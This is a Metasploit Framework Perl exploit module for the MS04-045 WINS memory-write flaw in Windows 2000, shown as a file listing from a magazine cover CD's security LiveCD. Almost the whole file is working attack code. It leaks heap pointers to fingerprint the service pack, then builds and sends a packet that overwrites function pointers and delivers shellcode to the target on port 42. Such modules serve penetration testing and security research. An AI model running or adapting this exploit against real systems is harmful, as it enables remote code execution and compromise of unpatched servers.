home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / wins_ms04_045.pm < prev    next >
Text File  |  2006-06-30  |  8KB  |  301 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::wins_ms04_045;
  11. use base "Msf::Exploit";
  12. use strict;
  13.  
  14. my $advanced =
  15.   {
  16.     'BASE'    => [0, 'Specify the exact address to the structure'],
  17.     'TARG'    => [0, 'Specify the exact address to overwrite'],
  18.     'WHAT'    => [0, 'Specify the data used to overwrite the address'],
  19.   };
  20.  
  21. my $info =
  22.   {
  23.     'Name'    => 'Microsoft WINS MS04-045 Code Execution',
  24.     'Version' => '$Revision: 1.24 $',
  25.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>' ],
  26.  
  27.     'Arch'  => [ 'x86' ],
  28.     'OS'    => [ 'win32', 'win2000' ],
  29.     'Priv'  => 1,
  30.  
  31.     'AutoOpts'  => { 'EXITFUNC' => 'process' },
  32.     'UserOpts'  =>
  33.       {
  34.         'RHOST'  => [1, 'ADDR', 'The target address'],
  35.         'RPORT'  => [1, 'PORT', 'The target port', 42],
  36.       },
  37.  
  38.     'Payload' =>
  39.       {
  40.         'Space'     => 8000,
  41.         'MinNops'    => 512,
  42.         'Prepend'    => "\x81\xc4\x54\xf2\xff\xff",    # add esp, -3500
  43.         'Keys'         => ['+ws2ord'],
  44.       },
  45.  
  46.     'Description'  => Pex::Text::Freeform(qq{
  47.         This module exploits a arbitrary memory write flaw in the WINS service. This
  48.     exploit has been tested against Windows 2000 only.
  49. }),
  50.  
  51.     'Refs'  =>
  52.       [
  53.         ['OSVDB',   '12378'],
  54.         ['MSB',     'MS04-045'],
  55.         ['MIL',     '78'],
  56.       ],
  57.  
  58.     'Targets'   =>
  59.       [
  60.         ['Windows 2000 English', [ 0x5391f40 ], 0x53df4c4, 0x53922e0]
  61.       ],
  62.  
  63.     'Keys'  =>  ['wins'],
  64.  
  65.     'DisclosureDate' => 'Dec 14 2004',
  66.   };
  67.  
  68. sub new {
  69.     my $class = shift;
  70.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  71.     return($self);
  72. }
  73.  
  74. sub Check {
  75.     my $self = shift;
  76.     my $target_host = $self->GetVar('RHOST');
  77.     my $target_port = $self->GetVar('RPORT');
  78.  
  79.     my ($ret, $fprint, $check) = @{ $self->Fingerprint };
  80.  
  81.     if ($ret < 0) {
  82.         return $check;
  83.     }
  84.  
  85.     if ($ret == 0) {
  86.         $self->PrintLine("[*] This system does not appear to be vulnerable.");
  87.         return $check;
  88.     }
  89.  
  90.     $self->PrintLine("[*] This system appears to be vulnerable.");
  91.     if ($fprint->{'os'} ne '?') {
  92.         my $os = $fprint->{'os'} eq '?' ? 'Unknown Windows' : 'Windows '. $fprint->{'os'};
  93.         my $sp = $fprint->{'sp'} eq '?' ? '' : 'SP '. $fprint->{'sp'};
  94.         my $vi = $fprint->{'vi'} == 1 ? '(clean heap)' : '(dirty heap)';
  95.         my $hp = length($sp) ? $vi : '';
  96.         $self->PrintLine("[*] Host $target_host is $os $sp $hp");
  97.     }
  98.  
  99.     return $self->CheckCode('Safe');
  100. }
  101.  
  102. sub Exploit {
  103.     my $self = shift;
  104.     my $target_host = $self->GetVar('RHOST');
  105.     my $target_port = $self->GetVar('RPORT');
  106.     my $target_idx  = $self->GetVar('TARGET');
  107.  
  108.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  109.  
  110.     my $target = $self->Targets->[$target_idx];
  111.  
  112.     if (! $self->InitNops(128)) {
  113.         $self->PrintLine("[*] Failed to initialize the nop module.");
  114.         return;
  115.     }
  116.  
  117.     # Sanity check the WINS service
  118.     my ($ret, $fprint, $check) = @{ $self->Fingerprint };
  119.  
  120.     if ($ret <= 0) {
  121.         $self->PrintLine("[*] The target system does not appear to be vulnerable.");
  122.         return;
  123.     }
  124.  
  125.     # Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
  126.     # same function pointer...
  127.     if ($fprint->{'os'} ne '2000' || $fprint->{'sp'} !~ /^[0234]/ ) {
  128.         $self->PrintLine("[*] The target system is not currently supported");
  129.         return;
  130.     }
  131.  
  132.     # This flag is un-set if the first leaked address is not the default of
  133.     # 0x05371e90. This can indicate that someone has already tried to exploit
  134.     # this system, or something major happened to the heap that will probably
  135.     # prevent this exploit from working.
  136.     if (! $fprint->{'vi'}) {
  137.         $self->PrintLine("[*] The leaked heap address indicates that this attack may fail.");
  138.     }
  139.  
  140.     # Allow for multiple attempts to find the base address
  141.     # XXX - Brute force not implemented (or required so far)
  142.     my @rloc = @{ $target->[1] };
  143.  
  144.     # Address of the function pointers to overwrite (courtesy anonymous donor)
  145.     my $targ = $target->[2];
  146.  
  147.     # Address of the payload on the heap, past the structure
  148.     my $code = $target->[3];
  149.  
  150.     # Advanced options can be used to overwrite
  151.     @rloc = ( hex($self->GetVar('BASE')) ) if $self->GetVar('BASE');
  152.     $targ = hex($self->GetVar('TARG')) if $self->GetVar('TARG');
  153.     $code = hex($self->GetVar('WHAT')) if $self->GetVar('WHAT');
  154.  
  155.     foreach my $base (@rloc) {
  156.         my ($req, $add);
  157.  
  158.         # Pointing at any aligned address into top 36 bytes will result in a
  159.         # valid structure. This gives us some breathing room if things move
  160.         # around a little bit.
  161.         $add .= pack('V', $code) x 9;
  162.         $add .= pack('V', $targ - 0x48) x 14;
  163.  
  164.         # Multiple copies are used in case things slide a little bit
  165.         $req .= $add x 10;
  166.  
  167.         # Bling.
  168.         $req .= $shellcode;
  169.  
  170.         # Random padding :-)
  171.         $req .= Pex::Text::EnglishText(9200 - length($req));
  172.  
  173.         # Tack on the header
  174.         my $pkt = pack('NNN', length($req) + 8, -1, $base). $req;
  175.  
  176.         # Poink!
  177.         $self->PrintLine(sprintf("[*] Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", $targ, $code, $base));
  178.         my $s = Msf::Socket::Tcp->new
  179.           (
  180.             'PeerAddr'  => $target_host,
  181.             'PeerPort'  => $target_port,
  182.           );
  183.  
  184.         if ($s->IsError) {
  185.             $self->PrintLine("[*] Socket error: " . $s->GetError());
  186.             return(0);
  187.         }
  188.  
  189.         $s->Send($pkt);
  190.         $self->Handler($s);
  191.     }
  192.  
  193.     return;
  194. }
  195.  
  196. # This fingerprinting routine will cause the structure base address to slide down
  197. # 120 bytes. Subsequent fingerprints will not push this down any futher, however
  198. # we need to make sure that fingerprint is always called before exploitation or
  199. # the alignment will be way off.
  200.  
  201. sub Fingerprint {
  202.     my $self = shift;
  203.     my $target_host = $self->GetVar('RHOST');
  204.     my $target_port = $self->GetVar('RPORT');
  205.     my $fprint = {};
  206.  
  207.     # This results in vulnerable servers leaking back some useful
  208.     # pointers to the heap and to ntdll.dll. We can use these pointers
  209.     # to determine the service pack.
  210.  
  211.     my $req =
  212.       "\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00".
  213.       "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05".
  214.       "\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03".
  215.       "\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00";
  216.  
  217.     my $s = Msf::Socket::Tcp->new
  218.       (
  219.         'PeerAddr'  => $target_host,
  220.         'PeerPort'  => $target_port,
  221.       );
  222.  
  223.     if ($s->IsError) {
  224.         $self->PrintLine("[*] Socket error: " . $s->GetError());
  225.         return [-2, $fprint, $self->CheckCode('Connect') ];
  226.     }
  227.  
  228.     $s->Send($req);
  229.     my $res = $s->Recv(-1, 5);
  230.     if (! $res) {
  231.         $self->PrintLine("[*] No response to WINS probe.");
  232.         $s->Close;
  233.         return [-1, $fprint, $self->CheckCode('Connect') ];
  234.     }
  235.  
  236.     my @ptrs = ( unpack('N', substr($res, 16, 4)), unpack('VVV', substr($res, 32)) );
  237.     $self->PrintDebugLine(1, sprintf("[*] Pointers: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", @ptrs));
  238.  
  239.     my ($os, $sp, $vi) = ('2000', '?', '?');
  240.  
  241.     # Windows 2000 versions
  242.     $sp = '0'    if $ptrs[3] == 0x77f8ae78;
  243.     $sp = '1'    if $ptrs[3] == 0x77f81f70;
  244.     $sp = '2'    if $ptrs[3] == 0x77f82680;
  245.     $sp = '3'    if $ptrs[3] == 0x77f83608;
  246.     $sp = '4'    if $ptrs[3] == 0x77f89640;
  247.     $sp = '4++'    if $ptrs[3] == 0x77f82518;
  248.  
  249.     # Contributed by grutz[at]jingojango.net
  250.     $sp = '3/4' if $ptrs[3] == 0x77f81648;
  251.  
  252.     # Probably not Windows 2000...
  253.     $os = '?' if $sp eq '?';
  254.  
  255.     # Windows NT 4.0
  256.     if ($ptrs[0] > 0x02300000 && $ptrs[0] < 0x02400000) {
  257.         $os = 'NT';
  258.         $sp = '?';
  259.     }
  260.  
  261.     # Heap is still pristine...
  262.     $vi = 1 if $ptrs[0] == 0x05371e90;
  263.  
  264.     # Store the fingerprints....
  265.     $fprint->{'os'} = $os;
  266.     $fprint->{'sp'} = $sp;
  267.     $fprint->{'vi'} = $vi;
  268.  
  269.     # Probe to test vulnerability
  270.     $req =    "\x00\x00\x00\x0F\x00\x00\x78\x00". substr($res, 16, 4).
  271.       "\x00\x00\x00\x03\x00\x00\x00\x00";
  272.     $s->Send($req);
  273.     $res = $s->Recv(-1, 3);
  274.  
  275.     $s->Close;
  276.  
  277.     if (substr($res, 6, 1) eq "\x78") {
  278.         return [1, $fprint, $self->CheckCode('Appears') ];
  279.     }
  280.  
  281.     return [0, $fprint, $self->CheckCode('Safe') ];
  282. }
  283.  
  284. 1;
  285.  
  286. __END__
  287. SP0 [0x05371e90] 0x053dffa4 0x77fb80db 0x77f8ae78
  288. SP1 [0x05371e90] 0x0580ffa4 0x77fb9045 0x77f81f70
  289. SP2 [0x05371e90] 0x053dffa4 0x77fb9da7 0x77f82680
  290. SP3 [0x05371e90] 0x053dffa4 0x77f82b95 0x77f83608
  291. SP4 [0x05371e90] 0x053dffa4 0x77f98191 0x77f89640
  292. SP4 [0x00000040] 0x053dffa4 0x77f98191 0x77f89640 (patched)
  293. SP4 [0x0000003e] 0x053dffa4 0x77f81f55 0x77f82518 (mostly patched)
  294.  
  295. NT4 
  296. YES [0x023b1e98] 0x0014c3f0 0x00000048 0x00000000
  297. NOT [0x023d1dc8] 0x0014de60 0x00000048 0x0000023f
  298. YES [0x023b1ea0] 0x00000048 0x00000009 0x0000023e
  299.  
  300. 2K3 [0x00000040] 0x044bf584 0x01013c25 0x000003ac
  301.